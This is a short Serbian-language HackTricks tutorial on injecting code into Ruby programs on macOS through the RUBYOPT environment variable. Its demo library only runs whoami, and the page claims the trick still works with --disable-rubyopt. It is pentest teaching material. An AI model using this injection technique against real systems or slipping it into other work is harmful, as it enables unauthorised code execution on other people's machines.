macOS Ruby Applications Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

RUBYOPT

Korišćenjem ove okružne promenljive moguće je dodati nove parametre u ruby kada god se izvršava. Iako parametar -e ne može se koristiti za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre -I i -r da se doda nova fascikla u putanju za učitavanje biblioteka, a zatim specificirati biblioteku za učitavanje.

Kreirajte biblioteku inject.rb u /tmp:

inject.rb
puts `whoami`

Napravite bilo gde Ruby skriptu kao:

hello.rb
puts 'Hello, World!'

Zatim napravite proizvoljni Ruby skript i učitajte ga sa:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Zanimljiva činjenica, radi čak i sa parametrom --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated